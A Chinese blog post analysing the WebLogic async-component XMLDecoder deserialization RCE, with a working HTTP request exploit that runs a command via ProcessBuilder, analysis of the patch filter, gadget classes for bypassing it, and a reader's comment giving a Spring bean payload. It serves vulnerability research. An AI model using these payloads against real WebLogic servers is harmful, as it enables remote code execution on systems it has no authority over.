weblogic wls9-async组件rce漏洞分析

前言

在4月17,cnvd通报了一个weblogic的rce漏洞,链接在此

发现是由于async_response这个war包导致的,乍一看这个洞就跟2017的wsat组件很相似。都是因为xmldecoder反序列化导致的rce。

分析

首先给出调用栈:

BaseWSServlet (service)->BaseWSServlet (run)

->SoapProcessor (process)->WsSkel (invoke)

->ServerDispatcher (dispatch)->HandlerIterator (handleRequest)

->WorkAreaServerHandler (handleRequest)

->WorkContextLocalMap (receiveRequest)

->WorkContextEntryImpl (readEntry)->readUTF->readObject

然后就是动态调试过程了。

首先将weblogic以debug模式启动,然后idea导入jar包并attach上就可以动态调试了。

调用栈给出来了,其实流程就不需要怎么细说了。主要说一下poc构造中的几个注意的点。

在HandlerIterator中调用handleRequest函数时,有一个for循环来遍历hanlders,如图所示:

image-20190428173851008

首先看一下这个this.handlers的值:

image-20190428174032010

有三个handler是我们需要注意的,第一个是ServerAddressingHandler。这个Hanlder组装我们soap中的各种元素并设置,比如Action和RelatesTo。

image-20190428174223196

第二个就是AsyncResponseHandler。这个中会判断是否存在RelatesTo。如果没有就直接return false了。

image-20190428174314603

所以我们在poc中要设置addressing.RelatesTo和addressing.Action。

第三个就是在WorkAreaServerHanlder中进行xmldecoder的反序列化。也就是真正的rce触发点了。关于WorkAreaServerHanlder如何触发xmldecoder的反序列化,这里我就不赘述,大家可以去看CVE-2017-10271的分析,链接在此

image-20190428174609289

几个注意事项都说了,然后就是根据wsdl文件来组建soap消息了。wsdl文件内容如下:
image-20190428175733526

所以最后得出来的最基础的poc如下

POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 820

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:balisong="http://www.bea.com/async/AsyncResponseService">  
<soapenv:Header> 
<wsa:Action>test</wsa:Action>
<wsa:RelatesTo>test</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
<java class="java.beans.XMLDecoder"> 
<void class="java.lang.ProcessBuilder"> 
<array class="java.lang.String" length="1"> 
<void index="0"> 
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
</void>  
</array>  
<void method="start"/>
</void> 
</java> 
</work:WorkContext> 
     </soapenv:Header>  
     <soapenv:Body>
    <balisong:onAsyncDelivery>calculator</balisong:onAsyncDelivery>
     </soapenv:Body> 
</soapenv:Envelope>

绕过

上述poc的局限性非常大,如果打了2017年十月份补丁的,这个poc是打不了的,由于手上并没有具体的补丁,所以只能靠网上给出的核心补丁代码进行分析:

public void startElement(String uri, StringlocalName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase(object)){
throw newIllegalStateException(Invalid element qName:object);
} else if(qName.equalsIgnoreCase(new)){
throw newIllegalStateException(Invalid element qName:new);
} else if(qName.equalsIgnoreCase(method)){
throw newIllegalStateException(Invalid element qName:method);
} else {
if(qName.equalsIgnoreCase(void)) {
for(int attClass = 0; attClass< attributes.getLength(); ++attClass) {
if(!index.equalsIgnoreCase(attributes.getQName(attClass))) {
throw newIllegalStateException(Invalid attribute for element void: +attributes.getQName(attClass));
}
}
}

这里最尴尬的其实就是对于void标签的过滤,导致void标签里除了index外不能有其他属性值,所以上述的poc就不能用了,也不能自由调类的静态函数啥的了,但是我们仍然可以调用类的构造函数来实现绕过。类的构造函数有这么几种情况是可以利用的:

  1. 构造函数有写文件操作,文件名和内容可控,可以进行getshell。
  2. 构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
  3. 构造函数直接有执行命令的操作,执行命令可控。
  4. 有其它的可能导致rce的操作,比如表达式注入之类的。

其实找利用是一个很费劲的活儿。跟小组小伙伴一起寻找了一番。其实第三种我觉得是基本不可能的,曾经对第一种希望很大,但是也并没有找到,最终找到的可能利用的类如下:

  1. oracle.toplink.internal.sessions.UnitOfWorkChangeSet (只存在于10.3.6)
  2. oracle.jms.plsql.MapMsgEntity (存在于10.3.6和12.1.3)
  3. org.slf4j.ext.EventData (存在于12.1.3)
  4. com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext (存在于10.3.6和12.1.3)

然后分别来看一下这四个类的构造函数到底是怎样的。

UnitOfWorkChangeSet

image-20190428182511854

构造函数传入byte,然后进行二次反序列化,可以绕过。但是进一步利用仍然需要找一个pop链才行,以为yso里会有可用的,比较了一番.除了一个jdk7u21的..发现好像并没有,但jdk7u21限制太大了,需要再找找更好用的。

最终盯上了

com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager这个类的readObject方法,看一下具体内容:

image-20190428183409617

readObject中调用了一个initUserTransactionAndTransactionManager方法,跟进去看看:

image-20190428183501727

这里将this.userTransactionName传递到了lookupUserTransaction函数中,继续跟进查看:

image-20190428183607365

调用lookup,可以造成jndi注入。因此该pop链可用,虽然也会受到jdk版本的限制,但是比那个jdk7u21好得多了。

MapMsgEntity

这个类的构造函数如下:

image-20190428183931231

这个类乍一眼看跟上个类差不多,也是传递进来一个byte数组然后二次反序列化。

但是在实际测试测时候发现了有问题,会报这个错误:

21037A71A9886C5F4DC8211F35F42724

经过排查,是因为xmldecoder用的 getConstructors,只能返回public构造函数。而该类的构造函数未被public声明,所以会找不到,因此该类无法利用。

EventData

这个类的利用可谓是简单粗暴,构造函数如下:

image-20190428184346297

是不是很眼熟?对,就是类似一个"二次漏洞触发点"这种操作。所以这个是最好用的,不用受到jdk版本限制,但是比较可惜的是,这个类只在12.1.3版本中存在,在10.3.6中并没有。

FileSystemXmlApplicationContext

其实当时以为可以直接用FileSystemXmlApplicationContext的gadget来打。但是实践后发现并不行, 发现好像跟jackson的那个利用还是有区别,就是少了分析表达式的那一步。导致并不能利用,看一下这两者代码的区别:

698C59D7BE0CBDD5EFBB77E75CFCD924

image-20190429171312662

有点迷醉….唯独少了这一行代码…感觉是不行的。(经过评论区大哥的指导,是可以的。非常感谢!学习了!)

补丁

weblogic针对绕过发布了新的补丁,补丁让人比较难受的一点,就是把class标签给过滤掉了:

image-20190430101901436

所以后续看看还能不能绕吧….

总结

虽然可以绕过,但是几种方法,要么受weblogic版本限制,要么受jdk版本限制。并没有找到一个通用的Poc。比较遗憾。

感谢D0g3-Team的小伙伴(Lucifaer,orich1)的帮助。

Comments
Write a Comment
  • Balisong 的好基友 reply

    鸭巴牛逼!!!

  • Xxxx reply

    1、weblogic12 也有:

    oracle_common/modules/oracle.toplink_12.1.3/eclipselink.jar

    2、xml稍改下就可以

    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

    <constructor-arg value="calc.exe" />

    </bean>

    • Balis0ng reply

      @Xxxx 感谢大哥指点!!学到了。

    • Xxx reply

      @Xxxx 看错了,12没有UnitOfWorkChangeSet

    • @Xxxx 噢噢,不过那个bean真的是学到了,我对那个类的利用太生疏了..再次感谢。

  • why reply

    你好请问使用bean标签报Unsupported element: bean怎么解决呢?

  • 18726866213 reply

    求twitter账号请教一下bean标签咋用的

    • @18726866213 大哥,我twitter帐号博客首页就有啊

    • 18726866213 reply

      已经关注了

  • 你写得非常清晰明了,让我很容易理解你的观点。

  • 这篇文章写得深入浅出,让我这个小白也看懂了!